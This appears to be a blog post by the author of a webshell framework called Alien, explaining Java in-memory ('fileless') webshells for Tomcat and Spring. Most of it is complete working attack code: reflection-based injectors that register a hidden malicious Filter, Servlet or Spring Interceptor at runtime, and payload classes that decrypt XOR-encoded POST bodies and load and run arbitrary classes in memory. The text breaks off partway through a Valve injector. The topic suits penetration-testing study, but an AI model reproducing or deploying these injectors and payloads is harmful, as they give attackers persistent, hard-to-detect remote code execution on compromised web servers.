[Alien] Java In-memory Webshell

First Post:

Last Update:

Word Count:
5.3k

Read Time:
33 min

Preface

This post was supposed to be published last month. However, due to some personal issues and language proficiency tests, it was postponed by a month. I apologize for the delay.

By the way, I may also publish another post to describe my experience with language proficiency tests, including the TOEFL iBT and IELTS.

Introduction

This blog post introduces memory shells in the webshell domain, focusing on both Java and C#. It also describes how they can be deployed and exploited during web penetration testing.

Background

Last month, I released Alien 5.0.0, a rewritten version of my webshell exploitation framework. Alien has supported a plugin mechanism since version 5.0.0. Memory shells are one of the plugins that can be exploited after successfully compromising a remote server.

So, what exactly is a MemoryShell (memory shell)? Actually, it is not a formal technical term. The formal technical terms are “Memory-resident Web Shell” and “In-memory Web Shell”. The term was widely adopted (or probably introduced) in the Chinese cybersecurity community. It is a type of fileless malware and a web shell. In this article, I will use “memory shell” or “MemoryShell” for convenience.

With a memory shell, an attacker can perform a fileless attack by injecting a new webshell into a server. The webshell can then be accessed through a web browser (or Alien) while leaving no corresponding file on disk. Similar to an advanced kernel shellcode implant, it can be hooked directly in memory, receive DLL payloads, and load them without touching the disk.

In other words, a memory shell is an advanced, modern technique targeting web applications. Nowadays, two types of memory shells are widely exploited by penetration testers—Java and C#—and they can also be categorized into different types.

However, while writing this blog post, I realized that the content was much more extensive than I expected. Therefore, this article only describes Java memory shells, while C# memory shells will be introduced in the next article.

Note: If you are not familiar with Java and C# webshells, you may refer to these articles: NebulaPulsar, Java and C# webshell.

Java

Before introducing the underlying mechanisms of Java in-memory shells, it is helpful to introduce some related concepts first.

graph TD classDef client fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#15803d,font-weight:bold; classDef server fill:#eff6ff,stroke:#2563eb,stroke-width:2px,color:#1d4ed8,font-weight:bold; classDef container fill:#fdf4ff,stroke:#c084fc,stroke-width:2px,color:#7e22ce,font-weight:bold; classDef framework fill:#fff7ed,stroke:#ea580c,stroke-width:2px,color:#c2410c,font-weight:bold; classDef db fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#b91c1c,font-weight:bold; Client["Client Layer
• Browser / Mobile App / API Client
• HTTP / HTTPS Request"]:::client subgraph Server["Java Web Application Server"] Connector["Tomcat Coyote Connector
• TCP/IP Socket
• HTTP Protocol Parsing"]:::server subgraph Engine["Tomcat Catalina Container Engine"] Host["Host
• Virtual Host"]:::container Context["StandardContext
• Web Application Context
• Manages Servlets / Filters / Lifecycle"]:::container end subgraph Framework["Application Framework Layer"] Dispatcher["Spring DispatcherServlet
• Front Controller"]:::framework HandlerMapping["HandlerMapping & Interceptors
• URL Routing
• Pre/Post Processing"]:::framework Controller["Spring MVC Controllers
• Business Logic
• Service Invocation"]:::framework end end DB[(Database / External Services
• MySQL / Redis / External APIs)]:::db Client -->|HTTP Request| Connector Connector -->|Pass Request| Host Host --> Context Context -->|Servlet / Filter Dispatch| Dispatcher Dispatcher --> HandlerMapping HandlerMapping -->|Dispatch| Controller Controller -->|Query / Persistence| DB DB -->|Data Response| Controller Controller -->|ModelAndView / JSON| Dispatcher Dispatcher -->|HTTP Response| Client

Web Container

To develop a Java web application, our programs cannot run directly on an operating system. Instead, they have to run inside a web container—a specialized environment that provides the necessary infrastructure for handling web applications.

  • Life cycle management: Loads, initializes, executes, and disposes of web components (such as Servlets and Filters).
  • Request dispatching: When a user makes an HTTP request, the container receives the request, parses the URL, and dispatches the request to the appropriate components.
  • Protocol processing: Parses TCP socket data into Java objects such as HttpServletRequest and HttpServletResponse.

There are many Java web containers available, but the following are among the most famous:

  • Apache Tomcat (The most famous one and the primary target of Java in-memory webshells)
  • Jetty
  • Undertow (Widely used by Spring Boot)

Registering

In Java web development, components such as Servlets and Filters must be registered with the web container so that it knows which components are responsible for processing incoming requests. If a developer wants the web container to know that a particular component is responsible for processing requests, that component must be registered with the container.

In Java, we can interact with the low-level internals of the web container (e.g., Tomcat and Spring) through reflection, allowing us to manipulate its internal memory structures at a low level.

In memory, we can “hook” our malicious payload into some components (e.g., Filters, Servlets, and Valves) by registering them.

Since we can cause the web container to route a malicious request to a hooked malicious component, the request can be processed by Java code without touching the disk. This is what we call a fileless attack, an in-memory webshell, or, in brief, a memory shell.

MemoryShell

Modern Java memory shells can be categorized into the following types:

Container / Component Type of MemoryShell
Servlet API Filter, Servlet, Listener
Tomcat Valve, WebSocket
Spring Controller / RequestMapping, Interceptor
Class Loading / JVM Java Agent / Instrumentation

In this article, I will introduce four types of memory shells: Servlet, Filter, Valve, and Interceptor.

graph TD classDef framework fill:#e0f2fe,stroke:#0284c7,stroke-width:2px,color:#0369a1,font-weight:bold; classDef servlet fill:#f1f5f9,stroke:#475569,stroke-width:2px,color:#334155,font-weight:bold; classDef tomcat fill:#fef3c7,stroke:#d97706,stroke-width:2px,color:#b45309,font-weight:bold; classDef jvm fill:#fee2e2,stroke:#dc2626,stroke-width:2px,color:#b91c1c,font-weight:bold; classDef network fill:#f3e8ff,stroke:#7e22ce,stroke-width:2px,color:#6b21a8,font-weight:bold; subgraph Stack["Java Web Memory Shell Architecture"] L5["Layer 5: Framework / Application Layer
• Spring MVC
• Controllers / RequestMapping
• Memory Shell: spring_interceptor"]:::framework L4["Layer 4: Servlet API Layer
• Servlet / Filter / Listener
• Memory Shell: tomcat_servlet / tomcat_filter"]:::servlet L3["Layer 3: Tomcat Container Layer
• Catalina / StandardContext
• Pipeline / Valve
• Memory Shell: tomcat_valve"]:::tomcat L2["Layer 2: JVM / Class Loading Layer
• ClassLoader
• defineClass()
• Java Agent / Instrumentation"]:::jvm L1["Layer 1: Network / Transport Layer
• Coyote Connector
• TCP/IP / HTTP"]:::network end L5 --> L4 L4 --> L3 L3 --> L2 L2 --> L1

Servlet-API Filter

When Tomcat processes HTTP requests, all HTTP requests must pass through the registered Filter chain.

Initially, the payload is located in an isolated container and cannot directly access Tomcat’s internal methods (such as addFilterDef and StandardContext). Therefore, the attacker has to gradually obtain access to Tomcat’s internal components and methods through reflection, starting from a request obejct.

Then, the payload creates a new Filter instance and encapsulates it in a FilterDef object. It then creates a FilterMap and sets a URL pattern for the hidden route (for example, /MaliciousURL). Next, the payload calls standardContext.addFilterDef() and standardContext.addFilterMapBefore() to insert the malicious FilterDef into the beginning of the Filter chain. Finally, it puts the FilterConfig into the filterConfigs mapping of standardContext. At this point, the malicious Filter has been successfully registered.

The proof of concept for a Filter memory shell injection script is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
if ("tomcat_filter".equalsIgnoreCase(szShellType)) {
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(szClassName) == null) {
Class<?> pulsarClass = (Class<?>) defineClassMethod.invoke(sandboxLoader, new Object[]{realClassBytes, new Integer(0), new Integer(realClassBytes.length)});
Object filter = pulsarClass.getConstructor(new Class[0]).newInstance(new Object[0]);

Class<?> filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Object filterDef = filterDefClass.getConstructor(new Class[0]).newInstance(new Object[0]);
filterDefClass.getMethod("setFilter", new Class[]{Class.forName("javax.servlet.Filter")}).invoke(filterDef, new Object[]{filter});
filterDefClass.getMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, new Object[]{szClassName});
filterDefClass.getMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, new Object[]{pulsarClass.getName()});

standardContext.getClass().getMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, new Object[]{filterDef});

Class<?> filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Object filterMap = filterMapClass.getConstructor(new Class[0]).newInstance(new Object[0]);

String finalPattern = (szUrlPattern != null && !szUrlPattern.isEmpty()) ? szUrlPattern : "/Nihahahaha";
filterMapClass.getMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, new Object[]{finalPattern});
filterMapClass.getMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, new Object[]{szClassName});
try { filterMapClass.getMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, new Object[]{"REQUEST"}); } catch (Exception ig) {}

standardContext.getClass().getMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, new Object[]{filterMap});

Class<?> configClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> constructor = configClass.getDeclaredConstructor(new Class[]{Class.forName("org.apache.catalina.Context"), filterDefClass});
constructor.setAccessible(true);
Object filterConfig = constructor.newInstance(new Object[]{standardContext, filterDef});

filterConfigs.put(szClassName, filterConfig);
return "[+] SUCCESS: Tomcat Filter Shell [" + szClassName + "] deployed!";
} else {
return "[!] WARN: Filter name already exists.";
}
}

While the Filter memory shell payload is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;

public class FilterShell implements javax.servlet.Filter {

private static final ThreadLocal<HttpServletRequest> currentRequest = new ThreadLocal<>();
private static final ThreadLocal<HttpServletResponse> currentResponse = new ThreadLocal<>();
private static final ThreadLocal<HttpSession> currentSession = new ThreadLocal<>();
private static final ThreadLocal<byte[]> currentPayloadBytes = new ThreadLocal<>();

private static Object globalLoader = null;
private static String globalKey = "[KEY] ";

public FilterShell() {}

@Override
public void init(FilterConfig filterConfig) throws ServletException {}

@Override
public void destroy() {}

public Object getRequest() { return this; }
public HttpServletResponse getResponse() { return currentResponse.get(); }
public HttpSession getSession() { return currentSession.get(); }

public int getContentLength() {
byte[] data = currentPayloadBytes.get();
return data != null ? data.length : 0;
}

public InputStream getInputStream() {
byte[] data = currentPayloadBytes.get();
return new java.io.ByteArrayInputStream(data != null ? data : new byte[0]);
}

public Object getAttribute(String name) {
HttpServletRequest realReq = currentRequest.get();
return realReq != null ? realReq.getAttribute(name) : null;
}

public void setAttribute(String name, Object o) {
HttpServletRequest realReq = currentRequest.get();
if (realReq != null) {
realReq.setAttribute(name, o);
}
}

private byte[] decryptPayload(byte[] data, String keyStr) {
if (data == null || data.length == 0 || keyStr == null) return new byte[0];
byte[] decrypted = new byte[data.length];
byte[] keyBytes = keyStr.getBytes();
int keyLength = keyBytes.length;
for (int i = 0; i < data.length; i++) {
decrypted[i] = (byte) (data[i] ^ keyBytes[(i + 1) % keyLength]);
}
return decrypted;
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {

HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;

currentRequest.set(request);
currentResponse.set(response);
currentSession.set(request.getSession());

if (request.getMethod().equalsIgnoreCase("POST")) {
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
InputStream isClient = request.getInputStream();
byte[] buf = new byte[512];
int length;
while ((length = isClient.read(buf)) != -1) {
bos.write(buf, 0, length);
}
byte[] encryptedData = bos.toByteArray();

currentPayloadBytes.set(encryptedData);

byte[] xorDecrypted = decryptPayload(encryptedData, globalKey);
boolean isLoaderInitRequest = (xorDecrypted.length > 4 &&
xorDecrypted[0] == (byte)0xCA && xorDecrypted[1] == (byte)0xFE &&
xorDecrypted[2] == (byte)0xBA && xorDecrypted[3] == (byte)0xBE);

if (isLoaderInitRequest) {
if (globalLoader != null) {
response.setStatus(200);
PrintWriter pwClient = response.getWriter();
pwClient.print("LOADER_ALREADY_EXISTS_RESPONSE");
pwClient.flush();
} else {
try {
ClassLoader parentLoader = this.getClass().getClassLoader();
Method defineMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineMethod.setAccessible(true);

Class<?> clazz = (Class<?>) defineMethod.invoke(parentLoader, xorDecrypted, 0, xorDecrypted.length);
Constructor<?> constructor = clazz.getConstructor(ClassLoader.class);

globalLoader = constructor.newInstance(parentLoader);

HttpSession session = request.getSession();
session.setAttribute("pulsar_loader", globalLoader);
session.setAttribute("k", globalKey);

response.setStatus(200);
PrintWriter pwClient = response.getWriter();
pwClient.print("LOADER_INIT_SUCCESS");
pwClient.flush();
} catch (java.lang.reflect.InvocationTargetException ite) {
Throwable cause = ite.getTargetException();
response.setStatus(200);
PrintWriter pwClient = response.getWriter();
if (cause instanceof java.lang.LinkageError && cause.getMessage().contains("duplicate class definition")) {
pwClient.print("LOADER_ALREADY_EXISTS_RESPONSE_1");
} else {
pwClient.print("LOADER_FAILED_REAL_CAUSE: " + cause.toString());
}
pwClient.flush();
} catch (Exception e) {
response.setStatus(200);
PrintWriter pwClient = response.getWriter();
pwClient.print("LOADER_FAILED: " + e.toString());
pwClient.flush();
}
}
} else {
if (globalLoader != null) {
try {
try {
request.getSession().setAttribute("k", globalKey);
} catch (Exception ignored) {}

globalLoader.getClass().getMethod("equals", Object.class).invoke(globalLoader, this);
} catch (Exception e) {
response.setStatus(200);
PrintWriter pwClient = response.getWriter();
pwClient.print("EXEC_FAILED: " + e.toString());
pwClient.flush();
}
} else {
response.setStatus(200);
PrintWriter pwClient = response.getWriter();
pwClient.print("EXEC_FAILED: No loader initialized in session.");
pwClient.flush();
}
}
return;
} catch (Exception ignored) {
} finally {
currentRequest.remove();
currentResponse.remove();
currentSession.remove();
currentPayloadBytes.remove();
}
}

try {
filterChain.doFilter(servletRequest, servletResponse);
} finally {
currentRequest.remove();
currentResponse.remove();
currentSession.remove();
currentPayloadBytes.remove();
}
}
}

Note: This process is similar to “PEB Walk”. Shellcode does not have an IAT, nor does it initially know the addresses of APIs. Therefore, a piece of shellcode finds the address of the PEB, follows the pointer to the Ldr structure, locates the address of kernel32.dll, and eventually obtains the address of the GetProcAddress API.

Note: You may notice the “[KEY] “ in my source code. This is an engineering consideration: Since Alien extracts the last 16 characters of the MD5 hash of the password in NebulaPulsar/DarkMatter mode, the space characters in the payload are used for binary patch.

Tomcat Servlet

In traditional Java web application development, components such as Servlet, Filter and Interceptor usually have to be declared in the web.xml configuration file or loaded statically by the web container (such as Tomcat). A Java memory shell, however, can use reflection to dynamically load components and register malicious components into the container’s internal data structures, thereby achieving request interception without touching the disk.

In Tomcat, a Servlet is a component responsible for handling HTTP requests and generating HTTP responses. Each Servlet is associated with a URL pattern that determines which requests it handles.

The principle behind a Tomcat Servlet memory shell is to bypass web.xml, directly access StandardContext, and dynamically create and register a malicious Servlet:

  1. Obtain StandardContext: First, obtain HttpServletRequest, then access getSession() and getServletContext() step by step.
  2. Convert the malicious byte array into a Class object in memory through ClassLoader.defineClass() and instantiate the malicious Servlet.
  3. Create a Wrapper container component to encapsulate the malicious Servlet instance, since Tomcat does not directly manage raw Servlet objects.
  4. Use standardContext.addServletMappingBefore(finalPattern, szClassName) to register the Servlet and bind the malicious Servlet to a URL path (for example, /EvilAlien).

The proof-of-concept for a Tomcat Servlet memory shell injector is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if ("tomcat_servlet".equalsIgnoreCase(szShellType)) {
Method mFindChildren = standardContext.getClass().getMethod("findChildren", new Class[0]);
Object[] children = (Object[]) mFindChildren.invoke(standardContext, new Object[0]);
boolean isExist = false;
for (int i = 0; i < children.length; i++) {
Method mGetName = children[i].getClass().getMethod("getName", new Class[0]);
if (szClassName.equals(mGetName.invoke(children[i], new Object[0]))) { isExist = true; break; }
}

if (!isExist) {
Class<?> servletClass = (Class<?>) defineClassMethod.invoke(sandboxLoader, new Object[]{realClassBytes, new Integer(0), new Integer(realClassBytes.length)});
Object servletInstance = servletClass.getConstructor(new Class[0]).newInstance(new Object[0]);

Object wrapper = standardContext.getClass().getMethod("createWrapper", new Class[0]).invoke(standardContext, new Object[0]);
wrapper.getClass().getMethod("setName", new Class[]{String.class}).invoke(wrapper, new Object[]{szClassName});
wrapper.getClass().getMethod("setLoadOnStartup", new Class[]{int.class}).invoke(wrapper, new Object[]{new Integer(1)});
wrapper.getClass().getMethod("setServlet", new Class[]{Class.forName("javax.servlet.Servlet")}).invoke(wrapper, new Object[]{servletInstance});
wrapper.getClass().getMethod("setServletClass", new Class[]{String.class}).invoke(wrapper, new Object[]{servletClass.getName()});

standardContext.getClass().getMethod("addChild", new Class[]{Class.forName("org.apache.catalina.Container")}).invoke(standardContext, new Object[]{wrapper});
String finalPattern = (szUrlPattern != null && !szUrlPattern.isEmpty()) ? szUrlPattern : "/ServletPulsar";
standardContext.getClass().getMethod("addServletMappingBefore", new Class[]{String.class, String.class}).invoke(standardContext, new Object[]{finalPattern, szClassName});

return "[+] SUCCESS: Tomcat Servlet Shell [" + szClassName + "] deployed at " + finalPattern + "!";
} else {
return "[!] WARN: Servlet name already exists.";
}
}

The corresponding memory shell payload is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;

public class ServletShell extends HttpServlet {

private static final ThreadLocal<HttpServletRequest> currentRequest = new ThreadLocal<>();
private static final ThreadLocal<HttpServletResponse> currentResponse = new ThreadLocal<>();
private static final ThreadLocal<HttpSession> currentSession = new ThreadLocal<>();
private static final ThreadLocal<byte[]> currentPayloadBytes = new ThreadLocal<>();

private static Object globalLoader = null;
private static String globalKey = "[KEY] ";

public ServletShell() {}

public Object getRequest() { return currentRequest.get(); }
public Object getResponse() { return currentResponse.get(); }
public Object getSession() { return currentSession.get(); }

public int getContentLength() {
byte[] data = currentPayloadBytes.get();
return data != null ? data.length : 0;
}

public InputStream getInputStream() {
byte[] data = currentPayloadBytes.get();
return new java.io.ByteArrayInputStream(data != null ? data : new byte[0]);
}

public Object getAttribute(String name) {
HttpServletRequest realReq = currentRequest.get();
return realReq != null ? realReq.getAttribute(name) : null;
}

public void setAttribute(String name, Object o) {
HttpServletRequest realReq = currentRequest.get();
if (realReq != null) {
realReq.setAttribute(name, o);
}
}

private byte[] decryptPayload(byte[] data, String keyStr) {
if (data == null || data.length == 0 || keyStr == null) return new byte[0];
byte[] decrypted = new byte[data.length];
byte[] keyBytes = keyStr.getBytes();
int keyLength = keyBytes.length;
for (int i = 0; i < data.length; i++) {
decrypted[i] = (byte) (data[i] ^ keyBytes[(i + 1) % keyLength]);
}

return decrypted;
}

@Override
protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
currentRequest.set(request);
currentResponse.set(response);
currentSession.set(request.getSession());

try {
if (request.getMethod().equalsIgnoreCase("POST")) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
InputStream isClient = request.getInputStream();
byte[] buf = new byte[512];
int length;
while ((length = isClient.read(buf)) != -1) {
bos.write(buf, 0, length);
}
byte[] encryptedData = bos.toByteArray();
currentPayloadBytes.set(encryptedData);

byte[] xorDecrypted = decryptPayload(encryptedData, globalKey);
boolean isLoaderInitRequest = (xorDecrypted.length > 4 && xorDecrypted[0] == (byte)0xCA && xorDecrypted[1] == (byte)0xFE && xorDecrypted[2] == (byte)0xBA && xorDecrypted[3] == (byte)0xBE);

if (isLoaderInitRequest) {
if (globalLoader != null) {
response.setStatus(200);
PrintWriter pwClient = response.getWriter();
pwClient.print("LOADER_ALREADY_EXISTS_RESPONSE");
pwClient.flush();
} else {
try {
ClassLoader parentLoader = this.getClass().getClassLoader();
Method defineMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineMethod.setAccessible(true);

Class<?> clazz = (Class<?>) defineMethod.invoke(parentLoader, xorDecrypted, 0, xorDecrypted.length);
Constructor<?> constructor = clazz.getConstructor(ClassLoader.class);

globalLoader = constructor.newInstance(parentLoader);

HttpSession session = request.getSession();
session.setAttribute("pulsar_loader", globalLoader);
session.setAttribute("k", globalKey);

response.setStatus(200);
PrintWriter pwClient = response.getWriter();
pwClient.print("LOADER_INIT_SUCCESS");
pwClient.flush();
} catch (Exception e) {
response.setStatus(200);
PrintWriter pwClient = response.getWriter();
pwClient.print("LOADER_FAILED: " + e.toString());
pwClient.flush();
}
}
return;
} else {
if (globalLoader != null) {
try {
try { request.getSession().setAttribute("k", globalKey); } catch (Exception ignored) {}
globalLoader.getClass().getMethod("equals", Object.class).invoke(globalLoader, this);
} catch (Exception e) {
response.setStatus(200);
PrintWriter pwClient = response.getWriter();
pwClient.print("EXEC_FAILED: " + e.toString());
pwClient.flush();
}
} else {
response.setStatus(200);
PrintWriter pwClient = response.getWriter();
pwClient.print("EXEC_FAILED: No loader initialized in session.");
pwClient.flush();
}
return;
}
} else {
response.sendError(HttpServletResponse.SC_NOT_FOUND);
}
} catch (Exception ignored) {
} finally {
currentRequest.remove();
currentResponse.remove();
currentSession.remove();
currentPayloadBytes.remove();
}
}
}

Spring Interceptor

Modern enterprise Java web applications primarily use framework such as Spring Boot and Spring MVC. In such environments, we can also use an Interceptor to implement an in-memory webshell.

A Spring Interceptor memory shell does not directly access the Tomcat container. Instead, it hooks into the internal processing pipeline of Spring MVC:

  1. Obtain the Spring application context (WebApplicationContext). The core component of Spring MVC is DispatcherServlet. An application can obtain the application context through the org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet attribute.
  2. Obtain the handler mapping (RequestMappingHandlerMapping)
  3. Use reflection to locate the interceptor list within RequestMappingHandlerMapping, namely adaptedInterceptors. This object is a List that stores the active Spring Interceptor objects.
  4. Inject the malicious Interceptor at the beginning (index 0) of adaptedInterceptors.

The PoC for a Spring Interceptor memory shell injector is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
if ("spring_interceptor".equalsIgnoreCase(szShellType)) {
String attrName = "org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet";
Object wac = servletContext.getClass().getMethod("getAttribute", new Class[]{String.class}).invoke(servletContext, new Object[]{attrName});
if (wac == null) {
return "[-] ERROR: Target context is not a Spring MVC framework environment.";
}

Class<?> hmClass = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
Object handlerMapping = wac.getClass().getMethod("getBean", new Class[]{Class.class}).invoke(wac, new Object[]{hmClass});

Field fInterceptors = null;
Class<?> currentMappingClazz = handlerMapping.getClass();
while (currentMappingClazz != null) {
try {
fInterceptors = currentMappingClazz.getDeclaredField("adaptedInterceptors");
break;
} catch (Exception e) {
currentMappingClazz = currentMappingClazz.getSuperclass();
}
}

if (fInterceptors == null) {
return "[-] ERROR: Cannot locate adaptedInterceptors field in Spring Mapping.";
}

fInterceptors.setAccessible(true);
java.util.List adaptedInterceptors = (java.util.List) fInterceptors.get(handlerMapping);

Class<?> interceptorClass = (Class<?>) defineClassMethod.invoke(sandboxLoader, new Object[]{realClassBytes, new Integer(0), new Integer(realClassBytes.length)});
Object interceptorInstance = interceptorClass.getConstructor(new Class[0]).newInstance(new Object[0]);

boolean isInterceptorExist = false;
for (int i = 0; i < adaptedInterceptors.size(); i++) {
if (adaptedInterceptors.get(i).getClass().getName().equals(interceptorClass.getName())) {
isInterceptorExist = true;
break;
}
}

if (!isInterceptorExist) {
adaptedInterceptors.add(0, interceptorInstance);
return "[+] SUCCESS: Spring Interceptor Shell [" + szClassName + "] deployed into pipeline header!";
} else {
return "[!] WARN: Interceptor class already hooked.";
}
}

The interceptor memory shell payload can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

public class InterceptorShell implements HandlerInterceptor {

private static final ThreadLocal<HttpServletRequest> currentRequest = new ThreadLocal<>();
private static final ThreadLocal<HttpServletResponse> currentResponse = new ThreadLocal<>();
private static final ThreadLocal<HttpSession> currentSession = new ThreadLocal<>();
private static final ThreadLocal<byte[]> currentPayloadBytes = new ThreadLocal<>();

private static Object globalLoader = null;
private static String globalKey = "[KEY] ";

public InterceptorShell() {}

public Object getRequest() { return currentRequest.get(); }
public Object getResponse() { return currentResponse.get(); }
public Object getSession() { return currentSession.get(); }

public int getContentLength() {
byte[] data = currentPayloadBytes.get();
return data != null ? data.length : 0;
}

public InputStream getInputStream() {
byte[] data = currentPayloadBytes.get();
return new java.io.ByteArrayInputStream(data != null ? data : new byte[0]);
}

public Object getAttribute(String name) {
HttpServletRequest realReq = currentRequest.get();
return realReq != null ? realReq.getAttribute(name) : null;
}

public void setAttribute(String name, Object o) {
HttpServletRequest realReq = currentRequest.get();
if (realReq != null) {
realReq.setAttribute(name, o);
}
}

private byte[] decryptPayload(byte[] data, String keyStr) {
if (data == null || data.length == 0 || keyStr == null) return new byte[0];
byte[] decrypted = new byte[data.length];
byte[] keyBytes = keyStr.getBytes();
int keyLength = keyBytes.length;
for (int i = 0; i < data.length; i++) {
decrypted[i] = (byte) (data[i] ^ keyBytes[(i + 1) % keyLength]);
}
return decrypted;
}

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if ("POST".equalsIgnoreCase(request.getMethod()) && request.getHeader("X-CMD-Auth") != null) {
currentRequest.set(request);
currentResponse.set(response);
currentSession.set(request.getSession());

try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
InputStream isClient = request.getInputStream();
byte[] buf = new byte[512];
int length;
while ((length = isClient.read(buf)) != -1) {
bos.write(buf, 0, length);
}
byte[] encryptedData = bos.toByteArray();
currentPayloadBytes.set(encryptedData);

byte[] xorDecrypted = decryptPayload(encryptedData, globalKey);
boolean isLoaderInitRequest = (xorDecrypted.length > 4 &&
xorDecrypted[0] == (byte)0xCA && xorDecrypted[1] == (byte)0xFE &&
xorDecrypted[2] == (byte)0xBA && xorDecrypted[3] == (byte)0xBE);

if (isLoaderInitRequest) {
if (globalLoader == null) {
ClassLoader parentLoader = this.getClass().getClassLoader();
Method defineMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineMethod.setAccessible(true);
Class<?> clazz = (Class<?>) defineMethod.invoke(parentLoader, xorDecrypted, 0, xorDecrypted.length);
Constructor<?> constructor = clazz.getConstructor(ClassLoader.class);
globalLoader = constructor.newInstance(parentLoader);
}
response.setStatus(200);
response.getWriter().print("LOADER_INIT_SUCCESS");
response.getWriter().flush();
} else {
if (globalLoader != null) {
globalLoader.getClass().getMethod("equals", Object.class).invoke(globalLoader, this);
}
}

return false;
} catch (Exception e) {
return false;
} finally {
currentRequest.remove();
currentResponse.remove();
currentSession.remove();
currentPayloadBytes.remove();
}
}

return true;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {}
}

Tomcat Valve

To increase extensibility and flexibility, Tomcat uses the Chain of Responsibility pattern to process client requests. Two interfaces are defined in Tomcat for this purpose: Pipeline and Valve.

A Valve is a proprietary component inserted into the request-processing pipeline. It can intercept incoming requests and outgoing responses before they reach the user’s application. Every pipeline has a basic Valve, which is located at the end of the pipeline and is executed after the other Valves.

A Pipeline provides the addValve() method for adding Valves to the request-processing pipeline.

The PoC for a Valve memory shell injector can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if ("tomcat_valve".equalsIgnoreCase(szShellType)) {
Object pipeline = standardContext.getClass().getMethod("getPipeline", new Class[0]).invoke(standardContext, new Object[0]);
if (pipeline != null) {
Class<?> valveClass = (Class<?>) defineClassMethod.invoke(sandboxLoader, new Object[]{realClassBytes, 0, realClassBytes.length});
Object[] valves = (Object[]) pipeline.getClass().getMethod("getValves", new Class[0]).invoke(pipeline, new Object[0]);
boolean isValveExist = false;
